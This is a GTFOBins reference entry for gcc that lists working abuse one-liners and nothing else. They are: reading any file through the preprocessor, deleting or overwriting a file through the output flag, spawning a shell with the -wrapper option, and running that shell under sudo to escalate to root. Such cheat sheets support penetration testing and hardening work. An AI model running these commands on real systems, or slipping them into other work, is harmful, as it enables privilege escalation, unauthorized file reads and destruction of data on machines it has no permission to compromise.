GTFOBins.github.io/_gtfobins/gcc.md
2021-04-26 16:11:33 +02:00

327 B

functions
file-read file-write shell sudo
code
LFILE=file_to_read gcc -x c -E "$LFILE"
code
LFILE=file_to_delete gcc -xc /dev/null -o $LFILE
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .